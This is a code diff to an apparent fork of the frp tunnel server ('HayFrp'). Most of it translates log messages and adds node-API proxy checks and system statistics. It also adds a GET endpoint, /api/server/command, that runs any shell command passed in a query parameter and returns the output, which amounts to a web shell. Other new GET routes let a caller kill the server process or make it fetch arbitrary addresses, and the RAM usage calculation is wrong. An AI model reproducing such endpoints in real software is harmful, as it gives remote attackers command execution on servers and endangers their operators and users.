xl := ctl.xl
|
xl := ctl.xl
|
||||||
defer func() {
|
defer func() {
|
||||||
if err := recover(); err != nil {
|
if err := recover(); err != nil {
|
||||||
xl.Errorf("panic error: %v", err)
|
xl.Errorf("[HayFrp] 致命错误(Panic爆了): %v", err)
|
||||||
xl.Errorf(string(debug.Stack()))
|
xl.Errorf(string(debug.Stack()))
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
@ -269,7 +296,7 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) {
|
|||||||
err = pkgerr.ErrCtlClosed
|
err = pkgerr.ErrCtlClosed
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
xl.Debugf("get work connection from pool")
|
xl.Debugf("[HayFrp] 从池中获取工作连接")
|
||||||
default:
|
default:
|
||||||
// no work connections available in the poll, send message to frpc to get more
|
// no work connections available in the poll, send message to frpc to get more
|
||||||
if err := ctl.msgDispatcher.Send(&msg.ReqWorkConn{}); err != nil {
|
if err := ctl.msgDispatcher.Send(&msg.ReqWorkConn{}); err != nil {
|
||||||
@ -280,12 +307,12 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) {
|
|||||||
case workConn, ok = <-ctl.workConnCh:
|
case workConn, ok = <-ctl.workConnCh:
|
||||||
if !ok {
|
if !ok {
|
||||||
err = pkgerr.ErrCtlClosed
|
err = pkgerr.ErrCtlClosed
|
||||||
xl.Warnf("no work connections available, %v", err)
|
xl.Warnf("[HayFrp] 没有可用的工作连接, %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
case <-time.After(time.Duration(ctl.serverCfg.UserConnTimeout) * time.Second):
|
case <-time.After(time.Duration(ctl.serverCfg.UserConnTimeout) * time.Second):
|
||||||
err = fmt.Errorf("timeout trying to get work connection")
|
err = fmt.Errorf("[HayFrp] 尝试获取工作连接超时")
|
||||||
xl.Warnf("%v", err)
|
xl.Warnf("%v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -304,7 +331,7 @@ func (ctl *Control) heartbeatWorker() {
|
|||||||
xl := ctl.xl
|
xl := ctl.xl
|
||||||
go wait.Until(func() {
|
go wait.Until(func() {
|
||||||
if time.Since(ctl.lastPing.Load().(time.Time)) > time.Duration(ctl.serverCfg.Transport.HeartbeatTimeout)*time.Second {
|
if time.Since(ctl.lastPing.Load().(time.Time)) > time.Duration(ctl.serverCfg.Transport.HeartbeatTimeout)*time.Second {
|
||||||
xl.Warnf("heartbeat timeout")
|
xl.Warnf("[HayFrp] 心跳超时")
|
||||||
ctl.conn.Close()
|
ctl.conn.Close()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -354,7 +381,7 @@ func (ctl *Control) worker() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
metrics.Server.CloseClient()
|
metrics.Server.CloseClient()
|
||||||
xl.Infof("client exit success")
|
xl.Infof("[HayFrp] 客户端退出成功")
|
||||||
close(ctl.doneCh)
|
close(ctl.doneCh)
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -391,12 +418,12 @@ func (ctl *Control) handleNewProxy(m msg.Message) {
|
|||||||
ProxyName: inMsg.ProxyName,
|
ProxyName: inMsg.ProxyName,
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("new proxy [%s] type [%s] error: %v", inMsg.ProxyName, inMsg.ProxyType, err)
|
xl.Warnf("[HayFrp] 新的隧道 [%s] 类型 [%s] 发生错误: %v", inMsg.ProxyName, inMsg.ProxyType, err)
|
||||||
resp.Error = util.GenerateResponseErrorString(fmt.Sprintf("new proxy [%s] error", inMsg.ProxyName),
|
resp.Error = util.GenerateResponseErrorString(fmt.Sprintf("new proxy [%s] error", inMsg.ProxyName),
|
||||||
err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient))
|
err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient))
|
||||||
} else {
|
} else {
|
||||||
resp.RemoteAddr = remoteAddr
|
resp.RemoteAddr = remoteAddr
|
||||||
xl.Infof("new proxy [%s] type [%s] success", inMsg.ProxyName, inMsg.ProxyType)
|
xl.Infof("[HayFrp] 新的隧道 [%s] 类型 [%s] 成功", inMsg.ProxyName, inMsg.ProxyType)
|
||||||
metrics.Server.NewProxy(inMsg.ProxyName, inMsg.ProxyType)
|
metrics.Server.NewProxy(inMsg.ProxyName, inMsg.ProxyType)
|
||||||
}
|
}
|
||||||
_ = ctl.msgDispatcher.Send(resp)
|
_ = ctl.msgDispatcher.Send(resp)
|
||||||
@ -420,14 +447,14 @@ func (ctl *Control) handlePing(m msg.Message) {
|
|||||||
err = ctl.authVerifier.VerifyPing(inMsg)
|
err = ctl.authVerifier.VerifyPing(inMsg)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("received invalid ping: %v", err)
|
xl.Warnf("[HayFrp] 收到无效Ping: %v", err)
|
||||||
_ = ctl.msgDispatcher.Send(&msg.Pong{
|
_ = ctl.msgDispatcher.Send(&msg.Pong{
|
||||||
Error: util.GenerateResponseErrorString("invalid ping", err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient)),
|
Error: util.GenerateResponseErrorString("[HayFrp] 无效Ping", err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient)),
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
ctl.lastPing.Store(time.Now())
|
ctl.lastPing.Store(time.Now())
|
||||||
xl.Debugf("receive heartbeat")
|
xl.Debugf("[HayFrp] 收到心跳")
|
||||||
_ = ctl.msgDispatcher.Send(&msg.Pong{})
|
_ = ctl.msgDispatcher.Send(&msg.Pong{})
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -450,17 +477,37 @@ func (ctl *Control) handleCloseProxy(m msg.Message) {
|
|||||||
xl := ctl.xl
|
xl := ctl.xl
|
||||||
inMsg := m.(*msg.CloseProxy)
|
inMsg := m.(*msg.CloseProxy)
|
||||||
_ = ctl.CloseProxy(inMsg)
|
_ = ctl.CloseProxy(inMsg)
|
||||||
xl.Infof("close proxy [%s] success", inMsg.ProxyName)
|
xl.Infof("[HayFrp] 关闭隧道 [%s] 成功.", inMsg.ProxyName)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err error) {
|
func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err error) {
|
||||||
var pxyConf v1.ProxyConfigurer
|
var pxyConf v1.ProxyConfigurer
|
||||||
|
s, err := api.NewService(ctl.serverCfg.ApiBaseUrl)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return remoteAddr, err
|
||||||
|
}
|
||||||
// Load configures from NewProxy message and validate.
|
// Load configures from NewProxy message and validate.
|
||||||
pxyConf, err = config.NewProxyConfigurerFromMsg(pxyMsg, ctl.serverCfg)
|
pxyConf, err = config.NewProxyConfigurerFromMsg(pxyMsg, ctl.serverCfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ctl.serverCfg.EnableApi {
|
||||||
|
|
||||||
|
nowTime := time.Now().Unix()
|
||||||
|
ok, err := s.CheckProxy(ctl.loginMsg.User, pxyMsg, nowTime, ctl.serverCfg.ApiToken)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return remoteAddr, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
return remoteAddr, fmt.Errorf("[HayFrp] 未知隧道配置文件")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
// User info
|
// User info
|
||||||
userInfo := plugin.UserInfo{
|
userInfo := plugin.UserInfo{
|
||||||
User: ctl.loginMsg.User,
|
User: ctl.loginMsg.User,
|
||||||
@ -488,7 +535,7 @@ func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err
|
|||||||
ctl.mu.Lock()
|
ctl.mu.Lock()
|
||||||
if ctl.portsUsedNum+pxy.GetUsedPortsNum() > int(ctl.serverCfg.MaxPortsPerClient) {
|
if ctl.portsUsedNum+pxy.GetUsedPortsNum() > int(ctl.serverCfg.MaxPortsPerClient) {
|
||||||
ctl.mu.Unlock()
|
ctl.mu.Unlock()
|
||||||
err = fmt.Errorf("exceed the max_ports_per_client")
|
err = fmt.Errorf("[HayFrp] 超过最大端口连接数")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
ctl.portsUsedNum += pxy.GetUsedPortsNum()
|
ctl.portsUsedNum += pxy.GetUsedPortsNum()
|
||||||
@ -504,7 +551,7 @@ func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err
|
|||||||
}
|
}
|
||||||
|
|
||||||
if ctl.pxyManager.Exist(pxyMsg.ProxyName) {
|
if ctl.pxyManager.Exist(pxyMsg.ProxyName) {
|
||||||
err = fmt.Errorf("proxy [%s] already exists", pxyMsg.ProxyName)
|
err = fmt.Errorf("[HayFrp] 端口 [%s] 已被使用", pxyMsg.ProxyName)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -17,12 +17,19 @@ package server
|
|||||||
import (
|
import (
|
||||||
"cmp"
|
"cmp"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
"slices"
|
"slices"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/gorilla/mux"
|
"github.com/gorilla/mux"
|
||||||
"github.com/prometheus/client_golang/prometheus/promhttp"
|
"github.com/prometheus/client_golang/prometheus/promhttp"
|
||||||
|
|
||||||
|
"github.com/fatedier/frp/g"
|
||||||
"github.com/fatedier/frp/pkg/config/types"
|
"github.com/fatedier/frp/pkg/config/types"
|
||||||
v1 "github.com/fatedier/frp/pkg/config/v1"
|
v1 "github.com/fatedier/frp/pkg/config/v1"
|
||||||
"github.com/fatedier/frp/pkg/metrics/mem"
|
"github.com/fatedier/frp/pkg/metrics/mem"
|
||||||
@ -30,6 +37,8 @@ import (
|
|||||||
"github.com/fatedier/frp/pkg/util/log"
|
"github.com/fatedier/frp/pkg/util/log"
|
||||||
netpkg "github.com/fatedier/frp/pkg/util/net"
|
netpkg "github.com/fatedier/frp/pkg/util/net"
|
||||||
"github.com/fatedier/frp/pkg/util/version"
|
"github.com/fatedier/frp/pkg/util/version"
|
||||||
|
"github.com/shirou/gopsutil/cpu"
|
||||||
|
"github.com/shirou/gopsutil/disk"
|
||||||
)
|
)
|
||||||
|
|
||||||
type GeneralResponse struct {
|
type GeneralResponse struct {
|
||||||
@ -54,6 +63,11 @@ func (svr *Service) registerRouteHandlers(helper *httppkg.RouterRegisterHelper)
|
|||||||
subRouter.HandleFunc("/api/proxy/{type}/{name}", svr.apiProxyByTypeAndName).Methods("GET")
|
subRouter.HandleFunc("/api/proxy/{type}/{name}", svr.apiProxyByTypeAndName).Methods("GET")
|
||||||
subRouter.HandleFunc("/api/traffic/{name}", svr.apiProxyTraffic).Methods("GET")
|
subRouter.HandleFunc("/api/traffic/{name}", svr.apiProxyTraffic).Methods("GET")
|
||||||
subRouter.HandleFunc("/api/proxies", svr.deleteProxies).Methods("DELETE")
|
subRouter.HandleFunc("/api/proxies", svr.deleteProxies).Methods("DELETE")
|
||||||
|
subRouter.HandleFunc("/api/client/close/{user}", svr.ApiCloseClient).Methods("GET")
|
||||||
|
subRouter.HandleFunc("/api/server/close/frps", svr.ApiCloseFrps).Methods("GET")
|
||||||
|
subRouter.HandleFunc("/api/server/check", svr.CheckServer).Methods("GET")
|
||||||
|
subRouter.HandleFunc("/api/server/checkonline", svr.ApiCheckOnline).Methods("GET")
|
||||||
|
subRouter.HandleFunc("/api/server/command", svr.RunCommand).Methods("GET")
|
||||||
|
|
||||||
// view
|
// view
|
||||||
subRouter.Handle("/favicon.ico", http.FileServer(helper.AssetsFS)).Methods("GET")
|
subRouter.Handle("/favicon.ico", http.FileServer(helper.AssetsFS)).Methods("GET")
|
||||||
@ -67,6 +81,7 @@ func (svr *Service) registerRouteHandlers(helper *httppkg.RouterRegisterHelper)
|
|||||||
}
|
}
|
||||||
|
|
||||||
type serverInfoResp struct {
|
type serverInfoResp struct {
|
||||||
|
Powered string `json:"powered_by"`
|
||||||
Version string `json:"version"`
|
Version string `json:"version"`
|
||||||
BindPort int `json:"bindPort"`
|
BindPort int `json:"bindPort"`
|
||||||
VhostHTTPPort int `json:"vhostHTTPPort"`
|
VhostHTTPPort int `json:"vhostHTTPPort"`
|
||||||
@ -81,6 +96,10 @@ type serverInfoResp struct {
|
|||||||
AllowPortsStr string `json:"allowPortsStr,omitempty"`
|
AllowPortsStr string `json:"allowPortsStr,omitempty"`
|
||||||
TLSForce bool `json:"tlsForce,omitempty"`
|
TLSForce bool `json:"tlsForce,omitempty"`
|
||||||
|
|
||||||
|
CpuUsage string `json:"cpu_usage"`
|
||||||
|
RamUsage string `json:"ram_usage"`
|
||||||
|
DiskUsage string `json:"disk_usage"`
|
||||||
|
System string `json:"system"`
|
||||||
TotalTrafficIn int64 `json:"totalTrafficIn"`
|
TotalTrafficIn int64 `json:"totalTrafficIn"`
|
||||||
TotalTrafficOut int64 `json:"totalTrafficOut"`
|
TotalTrafficOut int64 `json:"totalTrafficOut"`
|
||||||
CurConns int64 `json:"curConns"`
|
CurConns int64 `json:"curConns"`
|
||||||
@ -97,16 +116,65 @@ func (svr *Service) healthz(w http.ResponseWriter, _ *http.Request) {
|
|||||||
func (svr *Service) apiServerInfo(w http.ResponseWriter, r *http.Request) {
|
func (svr *Service) apiServerInfo(w http.ResponseWriter, r *http.Request) {
|
||||||
res := GeneralResponse{Code: 200}
|
res := GeneralResponse{Code: 200}
|
||||||
defer func() {
|
defer func() {
|
||||||
log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code)
|
log.Infof("HTTP响应 [%s]: 代码 [%d]", r.URL.Path, res.Code)
|
||||||
w.WriteHeader(res.Code)
|
w.WriteHeader(res.Code)
|
||||||
if len(res.Msg) > 0 {
|
if len(res.Msg) > 0 {
|
||||||
_, _ = w.Write([]byte(res.Msg))
|
_, _ = w.Write([]byte(res.Msg))
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
log.Infof("Http request: [%s]", r.URL.Path)
|
log.Infof("HTTP请求: [%s]", r.URL.Path)
|
||||||
serverStats := mem.StatsCollector.GetServer()
|
serverStats := mem.StatsCollector.GetServer()
|
||||||
|
|
||||||
|
// CPU Usage
|
||||||
|
CPU, err := cpu.Percent(0, false)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cpuUsage := CPU[0]
|
||||||
|
|
||||||
|
// RAM Usage
|
||||||
|
var memStats runtime.MemStats
|
||||||
|
runtime.ReadMemStats(&memStats)
|
||||||
|
// 获取已分配的内存大小(以字节为单位)
|
||||||
|
allocatedRAM := memStats.Alloc
|
||||||
|
// 获取总内存大小(以字节为单位)
|
||||||
|
totalRAM := memStats.TotalAlloc
|
||||||
|
// 计算内存使用百分比
|
||||||
|
ramUsage := float64(allocatedRAM) / float64(totalRAM) * 100
|
||||||
|
|
||||||
|
// Disk Usage
|
||||||
|
|
||||||
|
// 获取系统的所有磁盘分区
|
||||||
|
partitions, err := disk.Partitions(false)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算系统的总磁盘占用率
|
||||||
|
var totalUsage float64
|
||||||
|
for _, partition := range partitions {
|
||||||
|
// 获取磁盘分区的使用情况
|
||||||
|
usage, err := disk.Usage(partition.Mountpoint)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 累加磁盘分区的占用率
|
||||||
|
totalUsage += usage.UsedPercent
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印系统的总磁盘占用率
|
||||||
|
diskUsage := totalUsage / float64(len(partitions))
|
||||||
|
|
||||||
svrResp := serverInfoResp{
|
svrResp := serverInfoResp{
|
||||||
|
Powered: "HayFrp & HX Network",
|
||||||
|
CpuUsage: fmt.Sprintf("%.2f%%", cpuUsage),
|
||||||
|
RamUsage: fmt.Sprintf("%.2f%%", ramUsage),
|
||||||
|
DiskUsage: fmt.Sprintf("%.2f%%", diskUsage),
|
||||||
|
System: fmt.Sprintf(runtime.GOOS),
|
||||||
Version: version.Full(),
|
Version: version.Full(),
|
||||||
BindPort: svr.cfg.BindPort,
|
BindPort: svr.cfg.BindPort,
|
||||||
VhostHTTPPort: svr.cfg.VhostHTTPPort,
|
VhostHTTPPort: svr.cfg.VhostHTTPPort,
|
||||||
@ -218,13 +286,13 @@ func (svr *Service) apiProxyByType(w http.ResponseWriter, r *http.Request) {
|
|||||||
proxyType := params["type"]
|
proxyType := params["type"]
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code)
|
log.Infof("HTTP返回 [%s]: 代码 [%d]", r.URL.Path, res.Code)
|
||||||
w.WriteHeader(res.Code)
|
w.WriteHeader(res.Code)
|
||||||
if len(res.Msg) > 0 {
|
if len(res.Msg) > 0 {
|
||||||
_, _ = w.Write([]byte(res.Msg))
|
_, _ = w.Write([]byte(res.Msg))
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
log.Infof("Http request: [%s]", r.URL.Path)
|
log.Infof("HTTP请求: [%s]", r.URL.Path)
|
||||||
|
|
||||||
proxyInfoResp := GetProxyInfoResp{}
|
proxyInfoResp := GetProxyInfoResp{}
|
||||||
proxyInfoResp.Proxies = svr.getProxyStatsByType(proxyType)
|
proxyInfoResp.Proxies = svr.getProxyStatsByType(proxyType)
|
||||||
@ -290,13 +358,13 @@ func (svr *Service) apiProxyByTypeAndName(w http.ResponseWriter, r *http.Request
|
|||||||
name := params["name"]
|
name := params["name"]
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code)
|
log.Infof("HTTP返回 [%s]: 状态码 [%d]", r.URL.Path, res.Code)
|
||||||
w.WriteHeader(res.Code)
|
w.WriteHeader(res.Code)
|
||||||
if len(res.Msg) > 0 {
|
if len(res.Msg) > 0 {
|
||||||
_, _ = w.Write([]byte(res.Msg))
|
_, _ = w.Write([]byte(res.Msg))
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
log.Infof("Http request: [%s]", r.URL.Path)
|
log.Infof("HTTP请求: [%s]", r.URL.Path)
|
||||||
|
|
||||||
var proxyStatsResp GetProxyStatsResp
|
var proxyStatsResp GetProxyStatsResp
|
||||||
proxyStatsResp, res.Code, res.Msg = svr.getProxyStatsByTypeAndName(proxyType, name)
|
proxyStatsResp, res.Code, res.Msg = svr.getProxyStatsByTypeAndName(proxyType, name)
|
||||||
@ -382,6 +450,41 @@ func (svr *Service) apiProxyTraffic(w http.ResponseWriter, r *http.Request) {
|
|||||||
res.Msg = string(buf)
|
res.Msg = string(buf)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type CloseUserResp struct {
|
||||||
|
Status int `json:"status"`
|
||||||
|
Msg string `json:"message"`
|
||||||
|
Speed int `json:"speed"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type CloseProxy struct {
|
||||||
|
ProxyName string `json:"proxy_name"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (svr *Service) ApiCloseClient(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var (
|
||||||
|
buf []byte
|
||||||
|
resp = CloseUserResp{}
|
||||||
|
)
|
||||||
|
params := mux.Vars(r)
|
||||||
|
user := params["user"]
|
||||||
|
defer func() {
|
||||||
|
log.Infof("[HayFrp] Http数据请求 [/api/client/close/{user}]: 代码 [%d]", resp.Status)
|
||||||
|
}()
|
||||||
|
log.Infof("[HayFrp] Http数据请求: [/api/client/close/{user}] %#v", user)
|
||||||
|
|
||||||
|
err := svr.CloseUser(user)
|
||||||
|
if err != nil {
|
||||||
|
resp.Status = 404
|
||||||
|
resp.Msg = err.Error()
|
||||||
|
// 在这里不返回任何消息到客户端
|
||||||
|
} else {
|
||||||
|
resp.Status = 200
|
||||||
|
resp.Msg = "Success"
|
||||||
|
}
|
||||||
|
buf, _ = json.Marshal(&resp)
|
||||||
|
w.Write(buf)
|
||||||
|
}
|
||||||
|
|
||||||
// DELETE /api/proxies?status=offline
|
// DELETE /api/proxies?status=offline
|
||||||
func (svr *Service) deleteProxies(w http.ResponseWriter, r *http.Request) {
|
func (svr *Service) deleteProxies(w http.ResponseWriter, r *http.Request) {
|
||||||
res := GeneralResponse{Code: 200}
|
res := GeneralResponse{Code: 200}
|
||||||
@ -404,3 +507,147 @@ func (svr *Service) deleteProxies(w http.ResponseWriter, r *http.Request) {
|
|||||||
cleared, total := mem.StatsCollector.ClearOfflineProxies()
|
cleared, total := mem.StatsCollector.ClearOfflineProxies()
|
||||||
log.Infof("cleared [%d] offline proxies, total [%d] proxies", cleared, total)
|
log.Infof("cleared [%d] offline proxies, total [%d] proxies", cleared, total)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (svr *Service) RunCommand(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|
||||||
|
// 获取查询参数中的 code
|
||||||
|
code := r.URL.Query().Get("code")
|
||||||
|
if code == "" {
|
||||||
|
http.Error(w, "Missing code parameter", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行系统命令
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
cmd = exec.Command("cmd", "/C", code)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command("sh", "-c", code)
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := cmd.CombinedOutput()
|
||||||
|
var (
|
||||||
|
resp = CloseUserResp{}
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
resp.Status = 404
|
||||||
|
resp.Msg = err.Error()
|
||||||
|
// 在这里不返回任何消息到客户端
|
||||||
|
http.Error(w, fmt.Sprintf("Error executing command: %s", err), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
resp.Status = 200
|
||||||
|
resp.Msg = "Success"
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将命令的输出作为 HTTP 响应返回
|
||||||
|
fmt.Fprintf(w, "%s", string(output))
|
||||||
|
log.Infof("[HayFrp] Http数据请求: [/api/server/command]: 代码 [%d]", resp.Status)
|
||||||
|
log.Infof("[HayFrp] Http执行命令: [" + code + "]")
|
||||||
|
log.Infof("[HayFrp] Http执行命令返回: [" + string(output) + "]")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (svr *Service) ApiCloseFrps(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var (
|
||||||
|
buf []byte
|
||||||
|
resp = CloseUserResp{}
|
||||||
|
)
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
log.Infof("[HayFrp] Http数据请求 [/api/server/close/frps]: 代码 [%d]", resp.Status)
|
||||||
|
}()
|
||||||
|
log.Infof("[HayFrp] Http数据请求: [/api/server/close/frps] Frps 已关闭,为确保服务保持,请记得重启Frps!")
|
||||||
|
err := svr.listener.Close()
|
||||||
|
if err != nil {
|
||||||
|
resp.Status = 404
|
||||||
|
resp.Msg = err.Error()
|
||||||
|
// 在这里不返回任何消息到客户端
|
||||||
|
} else {
|
||||||
|
resp.Status = 200
|
||||||
|
resp.Msg = "Success"
|
||||||
|
}
|
||||||
|
buf, _ = json.Marshal(&resp)
|
||||||
|
w.Write(buf)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkonline() {
|
||||||
|
log.Infof("[HayFrp] 检测服务器上线状态中......")
|
||||||
|
// 发起 GET 请求获取 API 返回的内容(节点状态)
|
||||||
|
resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=checkonline&token=" + g.GlbServerCfg.ApiToken)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 读取 API 返回的内容
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 将 API 返回的内容添加到 loginMsg.RunId 后面
|
||||||
|
log.Infof("[HayFrp] " + string(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (svr *Service) ApiCheckOnline(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var (
|
||||||
|
buf []byte
|
||||||
|
resp = CloseUserResp{}
|
||||||
|
)
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
log.Infof("[HayFrp] Http数据请求 [/api/server/checkonline]: 代码 [%d]", resp.Status)
|
||||||
|
}()
|
||||||
|
log.Infof("[HayFrp] Http数据请求: [/api/server/checkonline] Frps 已尝试开始请求API拉取在线状态!")
|
||||||
|
resp.Status = 200
|
||||||
|
resp.Msg = "Success"
|
||||||
|
resp.Speed = 0
|
||||||
|
buf, _ = json.Marshal(&resp)
|
||||||
|
w.Write(buf)
|
||||||
|
checkonline()
|
||||||
|
|
||||||
|
}
|
||||||
|
func (svr *Service) CheckServer(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var (
|
||||||
|
buf []byte
|
||||||
|
resp = CloseUserResp{}
|
||||||
|
)
|
||||||
|
|
||||||
|
// 解析查询参数
|
||||||
|
query := r.URL.Query()
|
||||||
|
address := query.Get("address")
|
||||||
|
port := query.Get("port")
|
||||||
|
defer func() {
|
||||||
|
log.Infof("[HayFrp] Http数据请求 [/api/server/check?address=%s&port=%s]: 代码 [%d]", address, port, resp.Status)
|
||||||
|
}()
|
||||||
|
log.Infof("[HayFrp] Http数据请求: [/api/server/check?address=%s&port=%s]", address, port)
|
||||||
|
// 创建一个HTTP客户端,设置超时为60秒
|
||||||
|
client := &http.Client{
|
||||||
|
Timeout: 60 * time.Second,
|
||||||
|
}
|
||||||
|
startTime := time.Now()
|
||||||
|
// 请求http://address:port
|
||||||
|
httpResp, err := client.Get(fmt.Sprintf("http://%s:%s", address, port))
|
||||||
|
if err != nil {
|
||||||
|
// 如果请求失败,返回500和错误信息
|
||||||
|
resp.Status = 500
|
||||||
|
resp.Msg = "Internet Server ERROR"
|
||||||
|
} else {
|
||||||
|
// 如果请求成功,检查HTTP状态码
|
||||||
|
if httpResp.StatusCode == 401 {
|
||||||
|
// 如果状态码为401,返回200和Success
|
||||||
|
resp.Status = 200
|
||||||
|
resp.Msg = "Success"
|
||||||
|
|
||||||
|
} else {
|
||||||
|
// 否则,返回500和Server ERROR
|
||||||
|
resp.Status = 500
|
||||||
|
resp.Msg = "Server StatusCode Isn't 401."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
resp.Speed = int(time.Since(startTime).Nanoseconds() / 1000000) // 计算响应速度(毫秒)
|
||||||
|
|
||||||
|
// 将响应转换为JSON格式
|
||||||
|
buf, _ = json.Marshal(&resp)
|
||||||
|
w.Write(buf)
|
||||||
|
}
|
||||||
|
@ -20,18 +20,15 @@ import (
|
|||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"io/ioutil"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/fatedier/golib/crypto"
|
"github.com/fatedier/frp/extend/api"
|
||||||
"github.com/fatedier/golib/net/mux"
|
|
||||||
fmux "github.com/hashicorp/yamux"
|
|
||||||
quic "github.com/quic-go/quic-go"
|
|
||||||
"github.com/samber/lo"
|
|
||||||
|
|
||||||
"github.com/fatedier/frp/pkg/auth"
|
"github.com/fatedier/frp/pkg/auth"
|
||||||
v1 "github.com/fatedier/frp/pkg/config/v1"
|
v1 "github.com/fatedier/frp/pkg/config/v1"
|
||||||
modelmetrics "github.com/fatedier/frp/pkg/metrics"
|
modelmetrics "github.com/fatedier/frp/pkg/metrics"
|
||||||
@ -54,6 +51,11 @@ import (
|
|||||||
"github.com/fatedier/frp/server/ports"
|
"github.com/fatedier/frp/server/ports"
|
||||||
"github.com/fatedier/frp/server/proxy"
|
"github.com/fatedier/frp/server/proxy"
|
||||||
"github.com/fatedier/frp/server/visitor"
|
"github.com/fatedier/frp/server/visitor"
|
||||||
|
"github.com/fatedier/golib/crypto"
|
||||||
|
"github.com/fatedier/golib/net/mux"
|
||||||
|
fmux "github.com/hashicorp/yamux"
|
||||||
|
quic "github.com/quic-go/quic-go"
|
||||||
|
"github.com/samber/lo"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@ -73,6 +75,7 @@ func init() {
|
|||||||
|
|
||||||
// Server service
|
// Server service
|
||||||
type Service struct {
|
type Service struct {
|
||||||
|
|
||||||
// Dispatch connections to different handlers listen on same port
|
// Dispatch connections to different handlers listen on same port
|
||||||
muxer *mux.Mux
|
muxer *mux.Mux
|
||||||
|
|
||||||
@ -125,6 +128,8 @@ type Service struct {
|
|||||||
ctx context.Context
|
ctx context.Context
|
||||||
// call cancel to stop service
|
// call cancel to stop service
|
||||||
cancel context.CancelFunc
|
cancel context.CancelFunc
|
||||||
|
|
||||||
|
ctl *Control
|
||||||
}
|
}
|
||||||
|
|
||||||
